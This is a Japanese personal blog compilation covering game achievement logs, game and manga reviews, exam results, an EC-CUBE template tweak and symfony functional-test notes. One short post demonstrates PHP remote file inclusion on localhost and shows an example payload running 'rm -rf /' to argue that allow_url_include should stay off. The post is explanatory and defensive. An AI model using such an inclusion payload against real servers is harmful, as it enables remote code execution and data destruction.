FINAL FANTASY XIII
絶望への勇気 30
呪われた宿命に逆らい、核心へと回帰した証です。
魔境の踏破者 15
果てしなく広がる魔境を、ひたむきに歩き続けた証です。
2010/12/31の実績
FINAL FANTASY XIII
ケルガーの賞杯 15
冥碑より示された低難易度のミッションをすべて達成した証です。
2010/12/30の実績
FINAL FANTASY XIII
救済への希求 15
運命を変える手がかりを求めて、魔境へたどりついた証です。
百識の賢人 80
100種の敵の情報を完全に知りつくした証です。
真実への意志 15
世界の命運を翻弄する、真の脅威に直面した証です。
2010/12/29の実績
FINAL FANTASY XIII
解放への情熱 15
世界を変えるために、巨大な敵との闘争に挑む証です。
恩讐への葛藤 15
罪悪感を抱えながら、逃避行の終わりへ至った証です。
死闘への激情 15
厳戒態勢の敵陣へ、決意を秘めて乗り込んだ証です。
2010/12/28の実績
FINAL FANTASY XIII
過去への追慕 15
逃亡を続けながら、過去の日々に思いをはせる証です。
逆襲への決断 15
己を巻き込んだ運命への、反撃を決意した証です。
2010/12/26の実績
FINAL FANTASY XIII
宿命への敵意 15
包囲網を突破し、生きのびるために進む証です。
悲劇への憤怒 15
脅威へ立ち向かい、苛酷な運命を背負った証です。
一部のページだけ完全に別のCSSを適用し、デザインの出し分けをしたいと思ってもデフォルトではできません。
<head>タグ及びCSSなどを呼び出しているテンプレートファイルは/eccube/Smarty/templates/default/site_frame.tplですが、これはEC-CUBE上のどのページを開こうが常時絶対に読み込まれます。
適当にファイルを拾ってみると、
$objView->display(SITE_FRAME);
などと書かれていますが、初期値はSITE_FRAME='site_frame.tpl'です。
管理画面→パラメータ設定からSITE_FRAMEの値を変えることによってファイル名を変更することはできますが、結局全てのページで呼び出されるテンプレートファイルが変わるだけです。
SITE_FRAMEの定義を場合によって変えようと思った場合、定義を行っているのは/data/cache/mtb_constants.phpなのですが、これはパラメータ設定を行うと上書きされてしまいます。
$objView->display('site_frame_hoge.tpl');と変更すればファイル単位で出し分けが可能ですが、管理画面→レイアウト設定から作成したページだった場合、管理画面上から編集すると、せっかくの変更が無かったことにされてしまいます。
どれもこれもうまいこといきません。
仕方ないので$objView->display()の呼び出し先を変更しましょう。
実体は/data/class/SC_View.phpのSC_View::display()です。
1
2
3
4
5
6
7
8
9
10
|
// テンプレートの処理結果を表示
function display($template, $no_error = false) {
//URLに'hoge'が入っていたらテンプレートファイルを変更
if(strpos($_SERVER['PHP_SELF'],'hoge')!==false){
$template='site_frame_hoge.tpl';
}
//以下略
}
|
引っかけ方は色々あるでしょうが、これで一部のURLだけ全体のレイアウトを変更することができるようになりました。
全然関係ないのですが、元々EC-CUBEにはキャンペーンページなら画面レイアウトを変更するという機能が含まれているようです。
例えばカートを見てみると、LC_Page_Cart::process()には、$objView->display(SITE_FRAME);のかわりに
$objCampaignSess->pageView($objView);
と書かれています。
SC_CampaignSession::pageView()を見てみたところ、
1
2
3
4
5
6
7
8
9
10
11
12
|
/* キャンペーンページならフレームを変更 */
function pageView($objView, $site_frame = SITE_FRAME) {
$self_path = explode("/",$_SERVER['PHP_SELF']);
$campaign_dir = explode("/",CAMPAIGN_DIR);
$is_campaign = array_search( $campaign_dir[0] , $self_path );
if( strlen($is_campaign) > 0 ) {
$objView->display($site_frame);
} else {
$objView->display($site_frame);
}
}
|
変更できてないやん。
実装できてないならせめてコメントアウトしておけと。
http://www.symfony-project.org/jobeet/1_4/Doctrine/ja/11
前回のテストは、フォームにどんな適当な値があっても気にしないというあまり意味のないテストでした。
当然ですが実際にフォームの投稿が有効かどうかを確認するテストを行うことができます。
まずはフォームテスター。
コードだけ書いてあって何処に挿入するの?って感じですが、click()の直後に挿入します。たぶん。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()->
click('Preview your job', array('job' => array(
'company' => 'Sensio Labs',
'url' => 'http://www.sensio.com/',
'logo' => sfConfig::get('sf_upload_dir').'/jobs/sensio-labs.gif',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'description' => 'You will work with symfony.',
'how_to_apply' => 'Send me an email',
'email' => 'for.a.job@example.com',
'is_public' => false,
)))->
with('form')->begin()->
hasErrors(false)->
end()->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'create')->
end()
;
|
>php test/functional/frontend/jobActionsTest.php
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 1 - request parameter module is job
ok 2 - request parameter action is new
# post /job
not ok 3 - the submitted form is valid.
# Failed test (C:\xampp\php\PEAR\symfony\test\sfTesterForm.class.php at line 95)
# got: true
# expected: false
ok 4 - request parameter module is job
ok 5 - request parameter action is create
なにやらエラーが出ました。
hasErrors(false)でエラーが出ないことを期待したのですが、実際はエラーが出ましたよ、ということです。
hasErrors(false)->debug()で詳細を確認することができます。
Form debug
Submitted values: array ( 'category_id' => '93', 'company' => 'AAAAASensio Labs', 'url' => 'http://www.sensio.com/', 'position' => 'Developer', 'location'=> 'Atlanta, USA', 'description' => 'You will work with symfony to develop websites for our customers.', 'how_to_apply' => 'Send me an email', 'is_public' => false, 'email' => 'for.a.job@example.com', 'id' => '', 'logo' => 'symfony/web/uploads/jobs/sensio-labs.gif',)
Errors: type [Required.]
なにか必須項目が足りないというエラーが出てきました。
どの項目が足りないかまではわからないようです。
必須項目は現在'Type'、'Company'、'Position'、'Location'、'Description'、'How to apply?'、'Email'となっています。
'Type'がありませんね。
追加してみましょう。
Submitted values: array ( 'category_id' => '113', 'company' => 'Sensio Labs', 'url' => 'http://www.sensio.com/', 'position' => 'Developer', 'location' => 'Atlanta, USA', 'description' => 'You will work with symfony to develop websites for our customers.', 'how_to_apply' => 'Send me an email', 'is_public' => false, 'email' => 'for.a.job@example.com', 'id' => '', 'logo' => 'symfony/web/uploads/jobs/sensio-labs.gif', 'type' => 'Freelance',)
Errors: type [Invalid.]
およ?
しかも詳細はわかりません。
with('form')ブロックのかわりにwith('response')->debug()を入れると返ってきた出力をそのまま確認できます。
<th><label for="job_type">Type</label></th>
<td><ul class="error_list"><li>Invalid.</li></ul>
追加したtypeが正しくないようです。何故?
よく見るとtypeの値として有効なのは'Freelance'ではなく'freelance'でした。
まあ、これはこれできちんとバリデータが動作している証左になるでしょう。
で、ここまで書いて気が付いたのですが、もしかしてさっきの'Errors: type [Required.]'って、エラーの内容が'必須'という意味ではなく、'type'フィールドが'必須'って意味じゃねーの?
'company'をコメントアウトしてみる。
Errors: company [Required.]
うわあ、やっぱり。
さて、ブラウザからフォームを投稿するとその後はフォームの管理画面に移動するようになっていました。
そのような動作を追いかけることも当然できます。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()->
click('Preview your job', array('job' => array(
(中略)
)))->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'create')->
end()->
with('response')->isRedirected()->
followRedirect()->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'show')->
end()
;
|
フォームを投稿した画面でjobモジュールのcreateアクションが起動し、そのレスポンスはリダイレクトになっており、それを追いかけた先ではjobモジュールのcreateアクションが起動しますよ、というテストです。
>php test/functional/frontend/jobActionsTest.php
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 1 - request parameter module is job
ok 2 - request parameter action is new
# post /job
ok 3 - request parameter module is job
ok 4 - request parameter action is create
ok 5 - page redirected to /index.php/job/e3e4769832325590aafccd6a7b81a20ba4ae43e1
ok 6 - request parameter module is job
ok 7 - request parameter action is show
1..7
# Looks like everything went fine.
見事に想定どおりの動きができました。
これがもし投稿に失敗していた場合、リダイレクトされませんのできちんとエラーが表示されます。
not ok 5 - page redirected
# Failed test (C:\xampp\php\PEAR\symfony\test\sfTesterResponse.class.php at line 432)
LogicException: The request was not redirected.
at () in symfony/util/sfBrowserBase.class.php line 540
at sfBrowserBase->followRedirect() in n/a line n/a
at call_user_func_array() in symfony/test/sfTestFunctionalBase.class.php line 433
at sfTestFunctionalBase->__call() in n/a line n/a
at JobeetTestFunctional->followRedirect() in symfony/test/functional/frontend/jobActionsTest.php line 94
不正な値を投稿したり、必須項目が足りてないなどの場合にエラーが発生するのを確認してみましょう。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$browser->
info(' 3.2 - Submit a Job with invalid values')->
get('/job/new')->
click('Preview your job', array('job' => array(
'company' => 'Sensio Labs',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'email' => 'not.an.email',
)))->
with('form')->begin()->
hasErrors(3)->
isError('description', 'required')->
isError('how_to_apply', 'required')->
isError('email', 'invalid')->
end()
;
|
>php test/functional/frontend/jobActionsTest.php
> 3.2 - Submit a Job with invalid values
# get /job/new
# post /job
not ok 1 - the submitted form has 3 errors.
# Failed test (C:\xampp\php\PEAR\symfony\test\sfTesterForm.class.php at line 91)
# got: 4
# expected: 3
ok 2 - the submitted form has a description error (required).
ok 3 - the submitted form has a how_to_apply error (required).
ok 4 - the submitted form has a email error (invalid).
# Looks like you failed 1 tests of 4.
エラーが発生するのを確認するテストでエラーになりました。
なんか手元では'type'フィールドが必須になってるんだが何故違うんだろう。
ということで
hasErrors(4)->isError('type', 'required')->
としてみると見事にエラーの発生に成功しました。
なんか変な文だな。エラーに成功。
FINAL FANTASY XIII
脅威への覚悟 15
戦場を駆け抜け、さらなる危地に侵入した証です。
2010/12/24の実績
End of Eternity
CHAPTER 4をクリア 15
CHAPTER 4をクリアしました。
2010/12/23の実績
FINAL FANTASY XIII
運命への闘志 15
理不尽な運命に逆らい、戦場へと歩き始めた証です。
End of Eternity
CHAPTER 3をクリア 15
CHAPTER 3をクリアしました。
インビンシブル・アクター 15
インビンシブル・アクション中の攻撃数が1000に達しました。これからもガンガン使って行きましょう!
Kinect アドベンチャー!
衛星軌道 30
アドベンチャー「宇宙の宝!」の報酬を受け取った
2010/12/21の実績
End of Eternity
CHAPTER 2をクリア 15
CHAPTER 2をクリアしました。
追撃 15
初めて追撃を成功させました。やりますね。
レゾナンス・アタック 15
初めてレゾナンス・アタックを成功させました。これを使って行きましょう!
CHAPTER 1をクリア 10
CHAPTER 1をクリアしました。
2010/12/19の実績
俺の嫁 ~あなただけの花嫁~
お色直し 20
秘密のモードに突入しました
夫婦喧嘩 20
痴話喧嘩モードに突入しました
夫婦の寝室 20
添い寝モードに突入しました
愛情に包まれて 50
嫁にとても愛されています
夫婦の食卓 20
食事モードに突入しました
結婚記念日 150
結婚記念日を迎えました
夫婦の絆 20
応援モードに突入しました
ジュースを仲良く 20
嫁と一緒に1つのジュースを飲みました
誕生日を祝ってもらった 50
誕生日を祝ってもらいました
Fallout: New Vegas
All or Nothing 15
"All or Nothing"を完了
The House Always Wins 30
"The House Always Wins"を完了
どん判!金ドブ!
この靴しりませんか? 水谷 フーカ
☆☆☆
一月くらい前に表紙を見てから何故か気になってたんだがようやく購入。
店頭の紹介で百合って書いてあったからもっとふんわりしたものを想像していたんだが、確かに絵的には全然柔らかくて暖かい感じなのに心情が予想以上にガチだった。
もうちょっと全体的にヌルいほうが好みなのです。
他のレビュー見ればわかりますが好きな人はかなり好きみたいですが、少なくとも私はちょっと対象GUYのようです。
かってに改蔵6
かってに改蔵8
かってに改蔵9 久米田 康治
☆☆☆☆
基本的には昔サンデーコミックスで発売されていたかってに改蔵の復刻版です。
おまけとして8巻にはBP(万乗パンツ)特集、9巻にはいいがかり姉さんが収録されています。
ファイナルファンタジーXIII アルティメットヒッツインターナショナル XBOX360
いやあ、買うつもりなんて全く無かったんですが、ついうっかりこんなスレを見つけてしまったせいで何故か手元にあんな写真が。
まあ仕方ないね。
とりあえず3章まで来たが本当に一本道だな。
映像は確かに綺麗なんだが、映像のレベルに対してマップのレベルが追いついていなくて非常に不自然なマップばかり。
同時プレイ中のEOEがリアルレンダで高次元な映像を作り出してるのに、こっちは綺麗なムービーも所詮プリレンダで一度見たら終わりだしな。
ストーリーもプレイヤー完全置いてきぼりで、あとスノウとホープとライトニングがウザい。
今のところ、FFという冠がなければクーデルカやクーロンズゲートみたいに知る人ぞ知るってかんじで消えていったレベル。
php.ini
allow_url_fopen = On
allow_url_include = On
http://hoge.localhost/rfi.php
<?php
require_once('http://fuga.localhost/phpinfo.php');
http://fuga.localhost/phpinfo.php
<?php
print('<?php phpinfo(); ?>');
みごとに「hoge.localhostでphpinfo()した結果」が表示されました。require_onceしたファイルが正しいPHPの形になっていれば、通常のrequire_onceと同じようにローカルで実行されてしまうのです。
前回
<?php phpinfo();とするとうまくいかなかったのは、phpinfo()の出力は単なるHTMLなので、HTMLをrequire_onceしたら当然そのまま出力されるだけだったということです
phpinfo()だけならまだ設定が見られるだけですが、任意のファイルを仕込めるということは、
print('<?php exec("rm -rf /"); ?>');
なんてこともできるわけで。結論としては、allow_url_includeはOffにしておけ、ってこった。
どうせ論文が文字数不足でアウトだしどうでもいいんだけどな。
イとか800字以上のところ600字くらいしか埋められなかったし。
|
午前Ⅰ得点
|
***.**点
|
|---|---|
|
午前Ⅱ得点
|
72.00点
|
|
午後Ⅰ得点
|
60点
|
|
午後Ⅱ評価ランク
|
A
|
(つд⊂)ゴシゴシ
(;゚д゚) ・・・
(つд⊂)ゴシゴシゴシ
_, ._
(;゚ Д゚) …!?
なんで合格してるんだ?
あと午後1が低すぎるのが不満というか不服だ。
今回は珍しくもっと取れてたと思ったんだけどなあ?
まあともかく、これで基本情報技術者、ソフトウェア開発技術者、ネットワークスペシャリスト、セキュリティスペシャリストに続いて5個目の国家資格取得となりました。
めでたし。
FLAPPY DX300問の1面~100面をクリアしました。
http://www.netfarm.ne.jp/island/sb_flappy.htm
時間待ちとかの暇なときに淡々とやってたらいつのまにか潰しきってしまってました。
で、921Pって画面のスクリーンショット取れないんですかね。
カオスヘッド&シュタインズ・ゲート 科学アドベンチャーシリーズ マニアックス
☆☆☆☆☆
カオスヘッドおよびシュタインズゲートの攻略、解説、設定資料、開発者インタビュー、など盛りだくさんでファン必携の一冊。
あと巻末の公式アフターストーリーは単純ですが明るく楽しい話です。
全CGや個別エンドまでも解説されている完全ネタバレなので未クリア者は買ってはいけません。
萌郁だけhuke氏のコメントが入ってないのは何でだろう。
まあなんといってもアブないゲロカエルんを見れただけでも買った価値はあったかと。
ギャワー
データベーススペシャリスト「専門知識+午後問題」の重点対策〈2011〉 山本 森樹
2010/12/20、要するに明日システムアーキテクト合格発表です。
まあ落ちてますのでリベンジと行きたいところですが、残念ながら秋オンリーで春には試験がありません。
春には唯一残っている非論文試験のDBがあるのでさくっと取得してこようかと思います。
ファミ通Xbox360 2011年1月号
例によって濃ゆいインタビュー満載のファミ箱360。
360の現状がアレなだけにどうしてこんなに字が小さいのか不思議で仕方ありませんな。
ただ表紙のアサクリはやったことがないのであまり興味がなかった。
ポケットモンスター ホワイト
実は初ポケモン。
初代に乗り損ねてなんとなくプレイするチャンスがないまま今に至ったんだが、今回全ポケモンがリセットされたということでせっかくだから買ってみた。
白黒どっちでもよかったのですがなんとなく手に取ったのが白だったので白にしてみた。
まだポケモン10匹程度ですが、とりあえず反応がもっさりなのはどうにかならんかったのだろうか。
BダッシュとかデフォがダッシュでB押したときに歩きくらいでちょうどいいじゃない。
キャッスルヴァニア ロードオブシャドウ
悪魔城なのこれ?
なんかデビルメイクライとかそっち方向に行っちゃってて悪魔城を期待していた私としては相当微妙。
コマンド技が多くてポイントで封印解除ってのもそのまんまだしな。
いまのところ完全一本道かつ後戻り不可能な仕様なので物凄くやらされてる感が強いです。
あと視点固定型なので方向が急に変わることがあって微妙に操作しづらい。
今後変わってくるかもしれませんがそこまでやる気がもつかどうか。
さて今週出たCoDBOは最初は吹き替え版を買おうかと思ってたんだけどMoHをプレイして考え直した。
何言ってるか全然わからないんだよねMoH。
あとでどちらか評判のいい方にしようかと。
つうかMWとMW2では字幕+吹き替えできてたのにBOではバラ売りとか巫山戯てるの。
FF13?
どん判金ドブ
俺の嫁 ~あなただけの花嫁~
ベストパートナー 20
嫁とクイズに挑戦しました
新婚生活1ヶ月目 50
嫁と1ヶ月過ごしました
嫁と年を越した 50
嫁と年を越しました
新婚生活1週間目 50
嫁と1週間過ごしました
結婚しました 50
結婚しました
プロポーズ成功 50
プロポーズに成功しました
恋人と年を越した 50
恋人と年を越しました
誕生日を祝ってあげた 50
誕生日を祝ってあげました
初めてのキス 50
初めてのキス……
恋人と1ヶ月過ごした 30
恋人と1ヶ月過ごしました
恋人と1週間過ごした 20
恋人と1週間過ごしました
Castlevania LoS
ファイター 15
何か1つコンボを獲得
クレイジータクシー
オリジナル S-ライセンス 10
オリジナルモードでSライセンスを獲得した
ラジルギノア MASSIVE
Expand play 10
エキスパンドモードをプレイする。
Stage8 Boss destroy 40
アーケードモードかエキスパンドモードで8面ボスを撃破する。
2010/12/16の実績
クレイジータクシー
アーケード S-ライセンス 20
アーケードモードでSライセンスを獲得した
メダル オブ オナー
シングルプレイ:The Battle is Won… 50
ゲームをクリアした
シングルプレイ:Rangers Lead the Way 15
ダンテのミッションを全てクリアした
シングルプレイ:Eight Heroes Aboard 15
Rescue the Rescuersをクリア
シングルプレイ:Right in the Grape… 15
ヘッドショットを7連続できめた
2010/12/15の実績
クレイジータクシー
オリジナル B-ライセンス 10
オリジナルモードでBライセンスを獲得した
ぐわんげ
源助の技量 10
源助でゲームをクリアーしました。
銭好き 10
銭コンボを10000貯めました。
2010/12/14の実績
メダル オブ オナー
シングルプレイ:Never Quit 15
ラビットのミッションを全てクリアした
シングルプレイ:S.E.R.E. 15
Neptune's Netをクリア
シングルプレイ:Cliffhanger… 15
Compromisedをクリア
2010/12/13の実績
Fallout: New Vegas
No Gods, No Masters 15
"No Gods, No Masters"を完了
Wild Card 30
"Wild Card"を完了
KOF SKY STAGE
復活 20
ステージ4クリア達成!(1Player Game)
2010/12/12の実績
クレイジータクシー
オリジナル A-ライセンス 15
オリジナルモードでAライセンスを獲得した
オリジナル C-ライセンス 5
オリジナルモードでCライセンスを獲得した